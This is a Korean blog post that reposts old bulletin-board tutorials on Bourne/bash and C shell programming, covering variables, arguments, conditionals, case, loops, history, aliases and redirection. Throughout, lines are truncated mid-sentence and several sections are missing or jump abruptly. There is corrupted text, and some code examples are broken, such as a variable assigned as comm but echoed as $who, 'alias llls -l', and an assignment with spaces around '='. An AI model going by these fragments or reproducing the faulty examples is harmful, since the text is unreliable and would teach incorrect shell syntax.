상세 컨텐츠

본문 제목

리눅스 bash 쉘

Framework

by thankee 2007. 12. 23. 23:37

본문

(1) 쉘 프로그래밍이란?

여러분들 가운데 도스를  사용하시면서 한번이라도 autoexec.bat이라는 파일을 보지 못한 분은 안계실겁니다. 쉘 프로그래밍은 그것과 다를게 전혀 없습니다. 여러분들 배치파일을 왜 사용하십니까?

한꺼번에 같이 자주 사용되는  명령어들을 하나의 명령어로 묶어서 사용하면 편할까 그런것 아니겠습니까?  한번이라도 배치파일 프로그래밍을 공부하신적이 있다 이 쉘 프로그래밍 이해하시기는 아주 쉬울겁니다. 그렇지 않은분들도 절대로 어렵지 않습니다.

명령어를 해석하는 쉘은 쉘  스크립트라는 것을 제공해 수준높은 프로그래밍을 할 수 있도록 유저에게  도움을 줍니다. 즉 도스 배치파일과 같이 여러 명령어들을  하

결합할 수 있고 일반 언어에서도 갖추고 있는 루프문도 사용할 수 있게끔 합니다.

유닉스에서 일반적으로 제공하는 쉘에는 본쉘과 C쉘이 있습니다. 본쉘에서 실행가능 한 것은 C쉘에서 실행가능합니다. 그러나 C쉘에서 실행가능한 것은 본쉘에서 실행 가능하지 않습니다.

C쉘에는 본쉘에 없는 보다 발전적인 특징들을 가지고 있습니다. 잘  쓰이지는 않지만 알아두시면 언제가 쓸모가 있겠죠?

리눅스에서도 역시  쉘을 제공합니다. 유닉스의  본쉘을 본딴  bash와 유닉스의 C을  본딴 tcsh입니다. 리눅스의 bash는 유닉스의 본쉘 문법을 다 포함하고 더 나아 C쉘의 일부 문법을 포함하고 있는 보다 발전된 형식의 본쉘입니다.

그러면 먼저 리눅스의 bash로 본쉘프로그래밍을공부하도록 합시다.

(2) 쉘 바꾸기

ps라는 명령어를 기억하십니까? 한번 지금 ps라고 입력하신후 [ENTER]를 쳐 보십

맨위에 보시변 지금 현재 쉘이 어떤 쉘인지 나올겁니다. 만약에 bash라면 tcsh로

시는 방법도 있습니다.

ClassData:/# exec tcsh [ENTER]

그리고 ps를 실행시켜 보십시요. 이제는 C쉘입니다. 다시 같은 방법으로 본쉘로

오십시요.

ClassData:/# exec bash [ENTER]

(3) 쉘 변수

ClassData:/# man=MUDNet [ENTER]

ClassData:/# echo $man [ENTER]

MUDNet

의미를 아시겠습니까? man이라는 변수에 MUDNet이라는 정보를 저장하여 그 정보

출력하는 것입니다.

위에서 유의하실점은 man=MUDNet을 공간없이 붙여 쓰셔야 한다는 것입니다.

위에서 만약에 echo $man이라고 하였는데 $ 표시를 빠트리면 어떤 결과가 나올까

한번 해 보십시요.

ClassData:/# man=MUDNet [ENTER]

ClassData:/# echo "$man" [ENTER]

MUDNet

처음 예제와는 다르게 ""로 묶여 있는데도 결과는 같게 나왔죠. 차이점이 무엇일

요?

ClassData:/# man="MUDNet and         Soon sil Univ."

ClassData:/# echo $man [ENTER]

MUDNet and Soon sil Univ.

ClassData:/# echo "$man" [ENTER]

MUDNet and          Soong sil Univ.

ClassData:/#

차이점을 아시겠죠

자 만약에 위에서 $를 인쇄하고 싶으면

ClassData:/# echo \$man [ENTER]

현재 디렉토리의 내용을 변수에 저장할 수도 있습니다.

ClassData:/# dir=test* [ENTER]

ClassData:/# echo $dir [ENTER]

test test1 test2

ClassData:/#

만약에 저장되어있는 변수에 다른 정보를 저장시키려 할때에는 그냥 그 위에 새롭

정의를 해주시면 됩니다. 그런데 만약에 이미 변수에 저장되어있는 값을 바꾸고

지 않을 때에는 readonly라는 명령어를 사용합니다.

ClassData:/# man=Hwang [ENTER]

ClassData:/# readonly man [ENTER]

ClassData:/# man=MUDNet [ENTER]

bash : man : read-only variable

ClassData:/#

(4) 입력 받기

임의의 자료를 화면 상에서 입력받는 명령어로 read를 사용합니다.

ClassData:/# read man [ENTER]

MUDNet [ENTER]

ClassData:/# echo $man [ENTER]

MUDNet

ClassData:/#

(5) 환경변수

처음에 쉘로 로긴 되었을때 여러가지 초기화 작업이 일어납니다. 그 때 쓰이는 환

에 관련된 변수들을 환경변수라 합니다.

ClassData:/# env [ENTER]

실행시키면 여러분의 현재 환경에 대한 정보가 나옵니다.

HOME :  홈디렉토리의 위치를 저장하고  있습니다. 여러분들이 cd라는  명령어만

         입력하시고 [ENTER]를  치시면 HOME에 저장되어 있는 위치로 가게 됩니다

PATH : 도스의 path와 같습니다.

MAIL : 전자우편의 도착여부를 알려 줍니다.

PS1 : 프롬프트를 나타냅니다.

CDPATH : cd명령어의 검색경로를 명시하고 명시된  서브디렉토리를 하나씩 차례로

          는 디렉토리의 목록을 명령어에 제공해 줍니다.

/etc/profile을 에디터로 한번 보시고 분석해 보십시요.  잘 모르시겠다구요? 음

러면 나머지 부분을 다 보신후 다시한번 분석해 보십시요.

(6) 기본 쉘 스크립트

이제부터는 모든것을 파일로 저장해서 한번에 실행시켜 봅시다.

다음을 test라는 파일로 만들어 봅시나.

#!/bin/sh

date

ps

자 그러면 test라는 파일이 생겼습니다. 이것을 실행시켜 봅시다.

ClassData:/# sh test [ENTER]

처음에 date라는  명령어가 실해되고 곧이어 ps라는  명령어가 실행되죠? 맨윗줄

써있는  #!/bin/sh는 본쉘에서만 실행시킨다는 뜻입니다.

C쉘에서만 실행시키고 싶으면

#!/bin/csh

아까 배운 입력받기를 다시한번 해봅시다. 우선 아래의 내용을 에디터로 타이프

서 test라고 저장을 해봅시다.

echo "Enter the Sentence"

read s1 s2 s3

echo $s1

echo $s2

echo $s3

입력이 다 됐으면 실행시켜 봅시다.

ClassData:/# sh test [ENTER]

세개의 단어를 입력하시면 그 값이 출력 됩니다. 별로 어렵지 않죠?

다음을 입력하셔서 실행시켜 봅시다.

dir=`ls`

echo "This is File list"

echo $dir

의미를 이해하시겠습니까? 이런식으로  명령어를 자신이 원하는 문자열과 같이

하실수가 있습니다. 아래는 그 예입니다. 타이프하셔서 실행시켜 보십시요.

`는 숫자 1키 왼쪽에 있는 키입니다.

comm=`who`

echo "I am $who"

(7) 아규먼트 받기

아규먼트는 차례대로 1, 2, 3.... 순으로 매겨집니다. 아래를 타이프하셔서 test

고 저장을 해봅시다.

echo Argument : $1 $2 $3

실행시켜 봅시다.

ClassData:/# sh test MUDnet Soong Sil [ENTER]

Argument : MUDNet Soong Sil

ClassData:/#

위에서 test라는 파일을 만들때 만약에 $1, $2, $3의 자리를 바꾸어서 저장해서

행시키면 어떤 결과가 나올까요?

한번 해보십시요.

아규먼트의 갯수를 알아내는 방법또한 있습니다. 아래를 타이프 하셔서 test라고

장해 봅시다.

echo "Argument number : $#"

실행시켜 봅시다.

ClassData:/# sh test MUDNet Soong Sil [ENTER]

Argument number : 3

ClassData:/#

이번에는 shift라는 명령어에 대해서 공부하도록 합시다.

shift라는 명령어는 아규먼트를 왼쪽으로 쉬프트 시켜주는 명령어입니다.

echo "Argument : $1 $2 $3"

shift

echo "Argument : $1 $2 $3"

위의 문장을 test라 저장한다면

ClassData:/# sh test MUDNet Soong Sil [ENTER]

Argument : MUDNet Soong Sil

Argument : Soong Sil

ClassData:/#

(8) 조건문

여러분들중에서 프로그램 언어를 배워보신적이 있는 분은 조건문에 대해서  아주

아실겁니다. C언어에서 포인터는 잘 몰라도 조건문하나는 누구나 확실히 아실테니

요.

지금부터 하는 내용은 그것들과 다른점이 전혀 없습니다. 그러므로 이해하시는데

게 어려움은 없으실 겁니다.

1) if  [조건] then [수행] fi

조건을 만족하면 then 이하를 수행하라는 명령

입니다. fi라는 것은 조건문의

을 알려주는 기호입니다.

예를 들어서 자신이 어떤 명령어를 쉘 프로그램으로 만들었는데 그 명령어에는 항

옵션이 사용된다고 가정할 때

if [ $# = 0 ]

        then

                echo <사용방법에 대한 설명>

fi

이해가 가십니까? 아규먼트가 붙지 않으면 사용방법을 출력하는 명령어 입니다.

서 유의할 점은 대괄호 다음에 공백이 있어야한다는 것입니다.

물론 조건의 끝도 마찬가지입니다.

즉 위의 문장을 test라고 저장한 후에

ClassData:/# sh test [ENTER]

<사용방법에 대한 출력>

만약에 위 문장 아래에 다른 명령어가 있을때 위 조건을 만족하면 실행안되게 하

명령어도 있습니다.

바로 exit라는 것입니다.

  if [ $# = 0 ]

        then

                echo <사용방법에 대한 설명>

                exit 1

fi

.... 어떤 또다른 명령어

조건을 만족하게 되면 fi아래에 있는 명령어를 실행하지 않습니다.

2)        else

fi

4) 조건문과 같이 자주 쓰이는 기호들

= : 같음

! : 부정.

-a : AND

-o : OR

아래는 숫자값들의 비교에 쓰임

-eq : 같다.

-ne : 같지 않다.

-gt : 보다 크다.

-ge : 보다 크거나 같다.

-lt : 보다 작다.

(9) 루프문

1) for in do done

다음을 타이프 하셔서 test라 저장해놓으면

for man in MUDNet Soong Sil

do

        echo $man

done

실행을 한번 해봅시다.

ClassData:/# sh test [ENTER]

MUDNet

Soong

Sil

ClassData:/#

man이라는 변수에 처음에  MUDNet이라는 값이 들어가 출력을 하게 되고  다시 루

돌아 그 다음  아규먼트인 Soong을 그리고 마지막 Sil까지 반복적으로 수행함을

가 있습니다. 더 많은 값들을 in뒤에 넣으면 그 만큼 루프가 반복됩니다.

2) for do done

위에는 아규먼트를 프로그램내에 정의를  하였고 이번에는 밖에서 아규먼트를 가

루프를  실행하는것을 확인하도록 합시다.

니다. C

어에서의  case문과 마찬가지로 디폴트와 브레이크에 대한 명령어(기호)가 존재합

니다.

디폴트 표시는 *로하고 브레이크 표시는 ;;로 합니다.

read type

case "$type" in

        A)

                echo I entered A

                ;;

        B)

                echo I entered B

                ;;

        *)

                echo I entered Keyboard

                ;;

esac

위의 예제를 입력하시고 실행시켜 봅시다.

ClassData:/#sh test [ENTER]

A [ENTER]

I entered A

ClassData:/# sh test [ENTER]

a [ENTER]

I entered Keyboard

위 case문은 여러분들이 아주 잘쓰는 명령어 여러개를 옵션화 해서 하나의 명령어

만들때 아주 유용합니다.

만약에 대소문자를 구별하지 않으시려면 아래와 같이 해 주시면 됩니다.

a|A)

        echo ..............

이건 머드넷이란 곳에서 받은겁니다....

이건 머드넷이란 곳에서 받은겁니다....

이건 머드넷이란 곳에서 받은겁니다....

번  호 : 108

게시자 : 조원석   (Ricemen )

등록일 : 1998-10-07 21:22

제  목 : [강좌] 본 쉘스키립트 강좌 - 마지막

황동훈님의 강좌입니다...

11.2 C쉘 프로그래밍

C쉘은 앞서 배운 본쉘과 상당히 유사합니다. 그러나 C쉘  프로그램은 본쉘에서 사

할 수가 없습니다. 그러한 단점을 갖고도 사용되는  이유는 그만큼 막강한 기능을

발휘하고 있기 때문입니다. 이제부터 C쉘  프로그램의 기본적인것을 공부할텐데

전히 이해하고 응용할정도가 된다면 상당히 멋있는 프로그램을 만들수 있을 겁니

(1) C쉘로 변환하기

앞서도 설명을 드렸지만 본쉘에서 C쉘로 변환하는 방법은

ClassData:/# exec tcsh [ENTER]

(2) 히스토리

여러분들중에 혹시 doskey가 무엇하는건지 모르시는 분 계십니까? doskey라는것은

저가 입력해 사용한  모든 명령들을 스택에 저장해 놓은다음 다시 그 명령어를 사

할때 스택에서 꺼내서(방향키 이용) 사용하는 것입니다.

리눅스에도 그것과 비슷한 개념을 가지고 있는것이 있습니다. 바로 C쉘에서의 히

리라는 것입니다.

원래는 C쉘에만 있는 개념인데 본쉘에서도 사용이 가능합니다. 왜냐하면 리눅스에

의 본쉘인 bash는  본쉘의 발전된 형식이기 때문에 그 기능을 추가로 지니고 있습

니다.

보통 히스토리의 스택크기는  20개의 명령을 저장할 만큼의 스택크기를 지니고

니다. 그러나 이것또한 유저가 임의로 정할수가 있습니다.

ClassData:/# set history=50 [ENTER]

이제 히스토리 스택의 크기는 50이(편이상 크기를 50이라 표현 함) 되었습니다.

여러분들은 C쉘에서 별로  작업을 많이 하지 않았기 때문에 히스토리내에  별로

되어있는 명령어가 별로 없을겁니다.

일단은 지금 C쉘 상태에서 원하는 작업을 마음대로 충분히 한번 해보도록 해보십

요. 다 하셨습니까?

그러면 히스토리 목록을 확인하도록 합시다.

ClassData:/# history [ENTER]

어떻습니까? 지금까지 작업한 모든  내용이 각각의 고유번호를 갖고 화면에 출력

지요? 여기서 이  고유번호는 상당히 중요합니다. 왜냐하면 이제부터는 이 번호를

이용하는 방법을 배울테니까요

자 아래는 임의로 히스토리를 만든것입니다.  히스토리가 아래와 같이 구성되어있

는 가정하에서 공부를 해보도록 합시다.

1 ls -l

2 cat test

3. cat test1

4. vi test

5 rm test

6 history

만약에 ls -l이라는 명령어행을 실행시킬 필요가 있을때 다음과 같이 번호를 이용

하여 할수가 있습니다.

ClassData:/# !1 [ENTER]

같은 방법으로 vi를 이용해 test라는 파일을 작성할때도 마찬가지입니다.

ClassData:/# !4 [ENTER]

여기서 주의할점은 !과 번호를 반드시 붙여써야 된다는 것입니다.

!과 번호를 이용하여 명령어행을 출력 시키는 것을 알아보았는데 이번에는 !과 문

를 가지고 명령어행을 실행시키는 방법을 알아보도록합시다.

ClassData:/# !r [ENTER]

히스토리에서 처음에 r로 시작되는  명령어는 5번임을 쉽게 알수가 있습니다. 짐

바와 같이  위의 !다음에나오는 문자와 히스토리를 비교하여 일치하는 명령어행을

행시킵니다.

상대적인 위치를 이용해서 실행시키는 방법도 있습니다.   예를들어 위의 4번의 '

test'를 상대적인 위치로 실행시킨다면 여기서 상대적인 위치라는 것은 몇번전에

것을 실행을 했나를 의미합니다.

ClassData:/# !-3 [ENTER]

히스토리를 이용해 실행하는 다른방법으로는 ?을 이용하는 방법이 있습니다.

ClassData:/# !?ory [ENTER]

history라는 명령어가 실행됩니다. 의미를 아시겠죠

이번에는 필터와 개념이 비슷한 방법으로 사용하는 방법에 대하여 알아보겠습니다

즉 명령어행에 포함되어있는 일부를 추출하여 새로운 명령어행에 덧붙여 사용하는

방법입니다.

여기서 알아두어야할 부호로는 ^과 $입니다. ^는 첫번째 인수를 의미하는 것이고

는 마지막 인수를 의미하는 것입니다.

예를들어 히스토리목록에 다음과 같은 것이 등록이 되어있다면

15 cat test test1

cat이라는 명령어에 뒤따르는 아규먼트를 추출하여 새로운 명령어의 아규먼트로

할 수가 있습니다.

ClassData:/# lpr !15:^ [ENTER]

위 명령어행은 lpr test [ENTER]와 같은 의미입니다. 즉  ^ 기호로서 15번의 명령

행의 첫번째 아규먼트를 뽑아낸 것입니다. ^앞에 :가있음을 주의하시기 바랍니다.

이와 다르게 test1을 뽑기위해서는

ClassData:/# lpr !15:$ [ENTER]

를 사용하시면 됩니다. 그러면 test1의 내용이 프린터로 출력이 되겠죠.

(3) 명령어의 수정

ClassData:/# !! [ENTER]

위의 명령어를 수행시켜보십시요. 도스키와 똑같죠. 바로 전에 사용했던 명령어(

을 실행시킵니다.

만약에 여러분들이 지금  입력하고 있는명령어행이 상당히 길다고  가정합시다.

타이프하고 [ENTER]를  치니까 아 글쎄 그런 명령어가 없다고 메세지가 나옵니다.

자세히 살펴보니까 cat을 cay로 잘못친겁니다.

처음부터 다시 그 긴 명령어행을 치시는 분도 있을 것이고 방향키(윗)로 그 명령

행을 다시 불러와 커서로 이동하여 고치시는 분도 있을겁니다. 여기 고치는 새로

방법이 있습니다.

ClassData:/# !!:s/cay/cat/ [ENTER]

!!는 무슨의미인지는 이제는 다 아실겁니다. s는  치환하는 것을 의미합니다. cay

라고 잘못 입력된 전체 명령어행은 cat으로 고쳐져 다시 실행될겁니다.

아래는 옵션 s와 비슷한 종류의 옵션을 나열한 것입니다.

h : 경로명의 마지막 요소를 제거합니다.

r : 파일명의 파일명 확장을 제거합니다.

t : 경로명의 마지막 요소를 제외한 모든것을 제거합니다.

& : 바로전의 치환을 반복합니다.

p : 변화된 이벤트를 실행하지 않고 프린트 합니다.

q : 일정부분 수정되는 것을 막기위해 수정될 부분을 인용합니다.

[g]s/old/new/ : 기존의 것을 새로운 것으로 바꿉니다.

(4) 앨리어스

앨리어스가 무슨뜻입니까? 가명, 별명 뭐 그런 뜻이죠. 즉 기존의 명령어나 명령

행을  유저가 독특하게 이름을 붙여 그 이름으로 또같은 명령을 수행하는 것을 의

합니다. 예를 들어 엑스 위도우 실행할때  startx나 xinit을 사용하는데 그 이름

마음에 안들어 한번 바꾸어 보겠습니다.

ClassData:/# alias MUDNet xinit [ENTER]

이제부터는 MUDNet이라고 타이프하시고 [ENTER]를 치시면 엑스가 화면에 띄어집니

다. 확인해 보십시요.

여기서 MUDNet이라고 가명을 만들었다고 xinit이라는 명령어가 없어지는 것은 아

니다.

또 다른 예를 들어볼까요.

예를들어 ls라는 명령어를  실행시키면 접근허용에 대한 값이 나오지가 않습니다.

ls -l이라고 해야만 파일에 대한 접근 허용이 출력이 됩니다. 이것을 ll이라는 가

으로 만들어 봅시다.

ClassData:/# alias llls -l [ENTER]

이제부터 ll 이라는 명령어를 사용하십시요 ls -l과 결과가 같습니다.

ClassData:/# alias [ENTER]

아규먼트를 붙이지 않고 실행시키면 현재 alias된 명령들에 대한 정보가 나옵니다

alias를 취소시키려면 unalias라는 명령어를 사용합니다.

ClassData:/# unalias MUDNet [ENTER]

앨리어스에서 아규먼트를 교체하는 방법에 대해 알아 봅시다. 아래를 실행시켜 눈

으로 확인해봅시다.

ClassData:/# alias test echo \!:$ [ENTER]

ClassData:/# test MUDNet Soong Sil [ENTER]

Sil

ClassData:/#

$는 아까와 마찬가지로 아규먼트의 끝을 의미합니다. !:도 같이 사용되고 그 앞에

\이 붙음에 주의합시다.

(5) 변수

본쉘에서의 변수선언은 변수에 그냥 값이 저장되는 형식이었는데 C쉘에서는 변수

에 set?

< : 보다 작음을 의미합니다.

>= : 보다 크거나 같음을 의미합니다.

<= : 보다 작거나 같음을 의미합니다.

!= 같지않음을 나타냅니다.

== 같음을 나타냅니다.

& : AND

^ : EXCLUSIVE OR

&& : AND

|| : OR

++ : 변수의 증가를 의미합니다.

-- : 변수의 감소를 의미합니다.

+= : 좌변과 변수의 값을 더한후 그 결과를 변수에 넣습니다.

-= : 변수의 값에서 좌변을 뺀 다음 그 결과를 변수에 넣습니다.

*= : 좌변과 변수의 값을 곱한후 그 결과를 변수에 넣습니다.

/= : 변수의 값을 좌변으로 나누어 그 값을 변수에 넣습니다.

%= : 변수의 값을 좌변으로 나누어 그 나머지를 변수에 넣습니다.

위에서 &과 &&의 차이는 &는 값을 AND 연산한다는 뜻이고 &&는 논리적인 AND를 의

미합니다.

다음은 수치배열에 대한 설명입니다.

수치배열은 그냥 배열과 사용하는 방식이 똑같습니다. 역시 인덱스는 파스칼의 문

을 따르고 있습니다.

아래는 그 예입니다.

ClassData:/# set number = (0 0 0 0) [ENTER]

ClassData:/# @ number[2] = 10 [ENTER]

ClassData:/# @ number[3] = ($number[2]+10) [ENTER]

ClassData:/# echo $number [ENTER]

0 10 20 0

ClassData:/#

약간 다른점이 하나있죠. 배열에서는 외부에서 값을 넣을때 set을 사용했는데 수

열에서는 @를 예를 들어 ClassData:/#과 같은 것을 말합

니다. 물론 바꿀수 있습니다.

echo : 이 변수가 지정되면 이 변수는 각 명령어와 그 인수를 실행되기전에 되돌

보냅니다.

ignoreeof : ctrl+d 키를 이용한 쉘의 종료가 안되게 합니다. 이때 쉘 종료할때는

logout을 해야만 합니다.

noclobber : 이 변수는 사용자가 방향전환을 하고 있을때 overwriting되어지는 것

방지합니다.

noglob : 이 변수는 애매한 파일명의 확장을 막습니다. *, ?, [] 기호를 애매한

명으로 해석하지 않습니다.

nonomatch : 파일에 대응되지 않는 애매한 파일명이 파일명의 확장없이 명령어로

용됩니다.

notify : 백그라운드 명령어가 완료되면 사용자의 터미널에 메세지를 보냅니다.

(10) 루프문

루프문은 조건을 만족하는 한 계속해서 어떠한 명령어(행)를 실행시키는 문장 구

입니다.

1) foreach

foreach명령어는 본쉘에서의 for in과 사용방법과  용도가 같습니다. 즉 어떠한

의 아규먼트를 순차적으로 명령어(행)의 입력으로 사용합니다. 아규먼트 끝까지

사용하면 루프문은 중단이 됩니다.

다음은 foreach의 형식입니다.

foreach 변수 ( 아규먼트 )

        아규먼트를 인수로 같는 명령어

end

아규먼트가 여러개 오면 차례대로 사용되어 집니다. 그리고 루프문을 벗어납니다.

foreach man ( MUDNet Soong Sil )

        echo $man

end

위의 예제를 test라 저장하면

ClassData:/# csh test [ENTER]

MUDNet

Soong

Sil

ClassData:/#

2) while

while문은 그 다음의 조건이 만족하는 한 계속 명령을 반복적으로 실행하는 문장

조입니다.

다음은 그 형식입니다.

while 조건

        실행문

end

다음은 while문을 사용하여 1부터 10까지 더하는 프로그램입니다.

set limit = 10

set n = 1

set sum = 0

while ($n <= $limit)

        @ sum += $n

        @ n++

end

echo The Sum is $sum

위의 예제를 test라 저장하고 실행을 시켜 봅시다.

ClassData:/# csh test [ENTER]

TheSum is 55

ClassData:/#

이상으로 기본적인 C쉘 프로그래밍을 마치겠습니다.

위에서 본쉘이나 C쉘이나 설명을 하면서 사용한 예눅스를 구성하고 있는 파일에는

상당히 많은 것들이 쉘 프로그래밍으로 되어 있

니다. 기본적인 것을 배운 여러분들은 그래도 프로그램 된것을 보시면 모르는것도

겠지만 흐름을 이해하실수 있을 겁니다.

그러한 실제적인 많은  프로그램을 접하고 분석하다 보면 자신도  모르게 쉘 프로

램을 짜고 있는 자신의  모습을 발견할 수 있을 겁니다.

                            숭실대학교 전자계산학과 MUDNet

UNIX SHELL Programing

유닉스에서 중요하면서 사용 빈도가 높은 프로그램이 바로 쉘이다. 쉘은 사용자가 로

쉘은 사용자 명령어 인터페이스로, 독립적인 프로그램이다. 따라서 필요하고 좋은 유

하지만 대부분 쉘의 기능을 충분히 발휘하지 못하는 것이 현실이다. 게다가 오랫동안

쉘은 크게 두 가지 역할을 한다. 먼저 명령어 해석기의 역할로, 사용자가 명령을 입?

그리고 프로그래밍 언어로서의 역할도 있다. 명령들을 모아 아스키 파일로 저장하고

반복적이고 복잡하며 실수하기 쉬운 작업을 자동화

특정 사용자나 그룹을 위해 특화된 명령 제공

빠른 프로그램 작성

프로그램 개발 시간 단축

실행 시간에 구애받지 않는 프로그램 개발

유닉스의 다양한 쉘

앞에서 이야기했듯이 쉘 자체가 독립적인 프로그램이기 때문에 유틸리티와 같이 다양

C 쉘(csh)은 C와 유사한 언어 구조를 갖고 있어 유닉스 사용자는 물론, 프로그램 개?

콘쉘(Korn 쉘, ksh)은 본쉘의 기본 철학을 물려받고 프로그래밍 언어로서의 특징을 ?

다양한 쉘을 합쳐놓은 듯한 tcsh은 C 쉘에서 몇 가지 기능이 확장되고 내장 편집 기?

최근에 선보이는 쉘들은 사용자 인터페이스 측면은 물론, 내장 편집 기능, 태스크 컨

한정된 지면에 모든 쉘의 기능을 설명하기는 불가능하다. 따라서 본 연재에서는 본쉘

쉘 프로그래밍 시 알아야 할 점

쉘 프로그래밍의 기초

쉘 프로그램은 쉘 명령을 작업 순서대로 나열한 것이다. 다음의 hello라는 프로그램?

$ cat hello

#!/bin/sh

echo Hello World!    # printf "Hello World\n";

이 프로그램을 실행하기 앞서 사용자에게 읽고 실행할 수 있는 권한이 있어야 한다.

$ hello

Hello World!

쉘로 작성된 프로그램은 별도의 컴파일 과정이 필요없다. 이것은 쉘 자체가 인터프리

앞의 프로그램에서 '#' 다음에 있는 문장은 주석문으로, 쉘은 # 뒤에 나오는 문장은

쉘의 변수 이름은 문자나 '_'로 시작하고 그 뒤에는 문자, 숫자, _가 뒤따라오는 구?

$ cat variable

#!/bin/sh

var1=1

var2=var

vars=''This is a string''

echo $var1 $var2 $vars

쉘로 작성된 프로그램에 인수가 전달될 때는 차례대로 1에서 9까지의 변수에 할당되?

$ cat cmd

#!/bin/sh

echo $0 $1 $2 $3 $4 $5 $6 $7 $8 $9

shift 3

echo $0 $1 $2 $3 $4 $5 $6

앞의 프로그램에 'cmd 1 2 3 4 5 6 7 8 9'라는 인수값을 주면 다음 결과를 얻을 수 ?

cmd 1 2 3 4 5 6 7 8 9

cmd 4 5 6 7 8 9

실행 순서 조정

쉘 프로그램의 실행 순서는 쉘 명령과 같다. 즉 제일 앞에 있는 것이 먼저 실행되고

$ who | wc -l

이 명령을 실행하면 현재 로긴해 있는 사용자가 몇 명인지 알려 준다. 이처럼 일련의

파이프와 달리 순차적으로 실행하는 방법도 있다.

$ find . -type d -name work -print ; echo "done"

이를 실행하면 work라는 디렉토리를 찾아 결과를 출력하고 find 명령이 끝나면 "done

또 다른 실행 방법으로는 백그라운드 작업을 들 수 있다. 백그라운드 작업은 시간이

$ grep user log > user.log &

$ who

앞의 명령들을 실행하면 grep 명령을 백그라운드 프로세스로 실행한 후 바로 who를 ?

입출력 조정

쉘의 특징중 하나는 명령의 실행 결과를 재활용(?)한다는 것이다. 다음 예제를 보자.

$ cat dir

#!/bin/sh

current_directory = `pwd`

echo $current_directory

<표1>읽기전용 변수  여기서 current_directory에는 pwd의 실행 결과가 치환되고 그

< word : 파일 word를 표준 입력으로 사용한다.

> word : 파일 word를 표준 출력으로 사용한다.

>> word : 파일 word를 표준 출력으로 사용하며 파일에 내용을 추가한다. 파일이 없?<< word : 파일 word에서 변수 치환과 명령 치환이 모두 이뤄진 후 치환된 word의 결

<& digit : 파일 지정자가 digit인 파일을 표준 입력으로 사용한다.

<& - : 표준 입력을 닫는다.

>& digit : 파일 지정자가 digit인 파일을 표준 출력으로 사용한다.

>& - : 표준 출력을 닫는다.

변 수

읽기/쓰기 변수

$HOME

사용자 홈 디렉토리

$IFS

내부 필드 구분자(internal field separator) (sp, tab, new line)

$LOGNAME

사용자 로긴 이름

$MAIL

사용자 메일 파일 (/usr/mail/$LOGNAME)

$MAILCHECK

새로운 메일 도착 검사 시간 구간

$PATH

사용자 명령어 찾기 패스

$PS1

프롬프트 스트링1 ($)

$PS2

프롬프트 스트링2 (%)

$TERM

터미널 종류

<표2>자주 사용하는 특별한 변수들  변수

읽기 전용

$#

인라인 매개 변수의 수

$-

set 명령어나 쉘 구동시 사용된 플래그

$?

바로 직전에 수행된 명령어의 수행 결과

$$

현재 수행되고 있는 쉘의 프로세스 번호

$!

가장 최근에 백그라운드로 수행되는 프로세스 번호

여기서 볼 수 있듯이 앞에 digit가 덧붙여지면 표준 입력(또는 표준 출력)이 아닌 파

그외에도 특별한 의미를 갖는 문자($, &, |, <,>, ?, * 등)를 사용할 때는 문자가 갖

쉘 프로그램의 제어 구조

프로그램의 전체적인 흐름을 제어할 수 있는 제어 구조에 대해 살펴 보도록 한다. 먼

if

     명령 리스트

then

     명령 리스트

[ elif

     명령 리스트

then

     명령 리스트  ]

[ else

     명령 리스트  ]

fi

쉘이 앞의 문장을 만나면 먼저 if와 then 사이의 명령을 실행한다. 만약 마지막 명령

특히 if 문은 다음과 같이 test 명령과 같이 사용된다. test는 조건에 따라 참과 거?

if test -d $this   # if [ -d $this ]

then

echo directory

fi

<표3>특수문자의 용도  문자

사용 용도

space

워드 구분

tab

워드 구분

new line

워드 구분

*

파일 이름 생성

?

파일 이름 생성

[ ]

파일 이름 생성

$

변수값 참조 기호

`

명령어 치환

|

파이프라인

;

순차적 수행

&

백그라운드 수행

( )

서브-쉘

{ }

명령어 그룹화

<

표준 입력 재설정

>

표준 출력 재설정

#

주석문 시작

\

특수문자의 의미를 없앰

if문과 비슷한 역할의 조건부 연산자로는 '&&'와 '||'이 있다. && 연산자는 앞의 실?

if 명령1 arg1 arg2

then

  명령2 arg2 arg2

fi

하지만 &&와는 달리 || 연산자는 앞의 결과값이 0이 아니면 뒤의 명령을 실행하며 '?

if 명령1 arg1 arg2

then

  :   # null command

else

  명령2 arg1 arg2

fi

이렇듯 조건부 연산자를 적절히 사용하면 프로그램이 간결해지는 장점이 있다. 이와

case "string" in

pattern1) 명령

    명령

     ...

  ;;

pattern2 | pattern3)

    명령

    명령

      ...

  ;;

esac

쉘은 위에서 아래 방향으로 읽어오면서 string을 각 패턴과 비교한다. 만약 패턴과 ?

? : 임의의 한 문자와 매칭된다.

* : 0 또는 그 이상의 길이의 임의의 스트링과 매칭된다.

[chars] : chars중 임의의 한문자와 매칭된다.

[! chars] : chars에 있는 문자를 제외한 임의의 문자와 매칭된다.

다음 예는 시간대에 맞는 인사를 하는 프로그램으로, case문이 어떻게 사용되는지 볼

$ cat greet

#!/bin/sh

hour=`date +%H`

case "$hour"

in 

  0? | 1[01] ) echo "Good morning";;

  1[2-7])     echo "Good afternoon";;

  *)          echo "Good evening";;

esac

쉘 프로그램의 반복문 구조

다음 예제는 어떤 사용자가 로긴되어 있는지 확인하는 프로그램으로, 원하는 조건이

$ cat shell_while

#!/bin/sh

while :

do

  if who | grep -s $1

  then

    break

  else

    echo "$1 is not logged in"

    sleep 1

  fi

done

여기서는 user라는 사용자가 로긴해 있지 않으면 다음과 같은 결과를 얻는다.

$ shell user

  user is not logged in

  user is not logged in

  user is not logged in

  ......

물론 user란 사용자가 로긴해 있다면 아무 메시지도 출력하지 않는다. 앞의 예제에서

while 명령-리스트1 do

      명령-리스트2

done

while문을 만나면 명령-리스트1에 있는 명령이 실행되고 마지막 명령의 실행값이 0이

앞의 예제에서 while문 옆에 ':'이 사용되었는데 이것은 쉘에서 사용하는 널(null) ?

while문과 비슷한 구조의 반복문으로는 until문이 있다.

until  명령-리스트1 do

명령-리스트2

done

명령-리스트1에 있는 명령이 실행된 후 실행값이 0이 아니면 명령-리스트2가 실행되?

$ cat shell_until

#!/bin/sh

until

  who | grep $1

do

  echo "$1 is not logged in"

  sleep 1

done

많이 사용되는 또 다른 구조로 for문이 있다. for문은 일정한 조건이 완성될 때까지

for name in arg1 arg2 ...

명령-리스트

done

name의 값이 차례로 arg1, arg2 등으로 치환된 후 명령-리스트를 실행한다.

$ cat filter_dir

#!/bin/sh

for file in `/bin/ls`

do

  if [ -d $file ]

  then

    echo "$file is a directory"

  fi

done

앞의 예제는 /bin/ls 명령을 통해 현재 디렉토리에 있는 모든 파일 이㎱?치환된다.

변수 치환과 시그널 처리

